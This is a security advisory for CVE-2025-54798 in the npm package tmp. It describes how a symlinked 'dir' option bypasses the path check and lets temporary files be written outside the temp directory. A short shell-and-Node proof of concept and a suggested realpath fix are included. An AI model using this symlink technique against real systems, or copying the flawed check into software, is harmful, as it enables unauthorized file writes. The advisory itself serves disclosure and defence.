logo

CVE-2025-54798 tmp

Package

Manager: npm
Name: tmp
Vulnerable Version: >=0 <0.2.4

Severity

Level: Low

CVSS v3.1: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:N

CVSS v4.0: CVSS:4.0/AV:L/AC:H/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N

EPSS: 0.00021 pctl0.04038

Details

tmp allows arbitrary temporary file / directory write via symbolic link `dir` parameter ### Summary `tmp@0.2.3` is vulnerable to an Arbitrary temporary file / directory write via symbolic link `dir` parameter. ### Details According to the documentation there are some conditions that must be held: ``` // https://github.com/raszi/node-tmp/blob/v0.2.3/README.md?plain=1#L41-L50 Other breaking changes, i.e. - template must be relative to tmpdir - name must be relative to tmpdir - dir option must be relative to tmpdir //<-- this assumption can be bypassed using symlinks are still in place. In order to override the system's tmpdir, you will have to use the newly introduced tmpdir option. // https://github.com/raszi/node-tmp/blob/v0.2.3/README.md?plain=1#L375 * `dir`: the optional temporary directory that must be relative to the system's default temporary directory. absolute paths are fine as long as they point to a location under the system's default temporary directory. Any directories along the so specified path must exist, otherwise a ENOENT error will be thrown upon access, as tmp will not check the availability of the path, nor will it establish the requested path for you. ``` Related issue: https://github.com/raszi/node-tmp/issues/207. The issue occurs because `_resolvePath` does not properly handle symbolic link when resolving paths: ```js // https://github.com/raszi/node-tmp/blob/v0.2.3/lib/tmp.js#L573-L579 function _resolvePath(name, tmpDir) { if (name.startsWith(tmpDir)) { return path.resolve(name); } else { return path.resolve(path.join(tmpDir, name)); } } ``` If the `dir` parameter points to a symlink that resolves to a folder outside the `tmpDir`, it's possible to bypass the `_assertIsRelative` check used in `_assertAndSanitizeOptions`: ```js // https://github.com/raszi/node-tmp/blob/v0.2.3/lib/tmp.js#L590-L609 function _assertIsRelative(name, option, tmpDir) { if (option === 'name') { // assert that name is not absolute and does not contain a path if (path.isAbsolute(name)) throw new Error(`${option} option must not contain an absolute path, found "${name}".`); // must not fail on valid .<name> or ..<name> or similar such constructs let basename = path.basename(name); if (basename === '..' || basename === '.' || basename !== name) throw new Error(`${option} option must not contain a path, found "${name}".`); } else { // if (option === 'dir' || option === 'template') { // assert that dir or template are relative to tmpDir if (path.isAbsolute(name) && !name.startsWith(tmpDir)) { throw new Error(`${option} option must be relative to "${tmpDir}", found "${name}".`); } let resolvedPath = _resolvePath(name, tmpDir); //<--- if (!resolvedPath.startsWith(tmpDir)) throw new Error(`${option} option must be relative to "${tmpDir}", found "${resolvedPath}".`); } } ``` ### PoC The following PoC demonstrates how writing a tmp file on a folder outside the `tmpDir` is possible. Tested on a Linux machine. - Setup: create a symbolic link inside the `tmpDir` that points to a directory outside of it ```bash mkdir $HOME/mydir1 ln -s $HOME/mydir1 ${TMPDIR:-/tmp}/evil-dir ``` - check the folder is empty: ```bash ls -lha $HOME/mydir1 | grep "tmp-" ``` - run the poc ```bash node main.js File: /tmp/evil-dir/tmp-26821-Vw87SLRaBIlf test 1: ENOENT: no such file or directory, open '/tmp/mydir1/tmp-[random-id]' test 2: dir option must be relative to "/tmp", found "/foo". test 3: dir option must be relative to "/tmp", found "/home/user/mydir1". ``` - the temporary file is created under `$HOME/mydir1` (outside the `tmpDir`): ```bash ls -lha $HOME/mydir1 | grep "tmp-" -rw------- 1 user user 0 Apr X XX:XX tmp-[random-id] ``` - `main.js` ```js // npm i tmp@0.2.3 const tmp = require('tmp'); const tmpobj = tmp.fileSync({ 'dir': 'evil-dir'}); console.log('File: ', tmpobj.name); try { tmp.fileSync({ 'dir': 'mydir1'}); } catch (err) { console.log('test 1:', err.message) } try { tmp.fileSync({ 'dir': '/foo'}); } catch (err) { console.log('test 2:', err.message) } try { const fs = require('node:fs'); const resolved = fs.realpathSync('/tmp/evil-dir'); tmp.fileSync({ 'dir': resolved}); } catch (err) { console.log('test 3:', err.message) } ``` A Potential fix could be to call `fs.realpathSync` (or similar) that resolves also symbolic links. ```js function _resolvePath(name, tmpDir) { let resolvedPath; if (name.startsWith(tmpDir)) { resolvedPath = path.resolve(name); } else { resolvedPath = path.resolve(path.join(tmpDir, name)); } return fs.realpathSync(resolvedPath); } ``` ### Impact Arbitrary temporary file / directory write via symlink

Metadata

Created: 2025-08-06T17:06:04Z
Modified: 2025-08-07T15:11:22Z
Source: https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/08/GHSA-52f5-9888-hmc6/GHSA-52f5-9888-hmc6.json
CWE IDs: ["CWE-59"]
Alternative ID: GHSA-52f5-9888-hmc6
Finding: F076
Auto approve: 1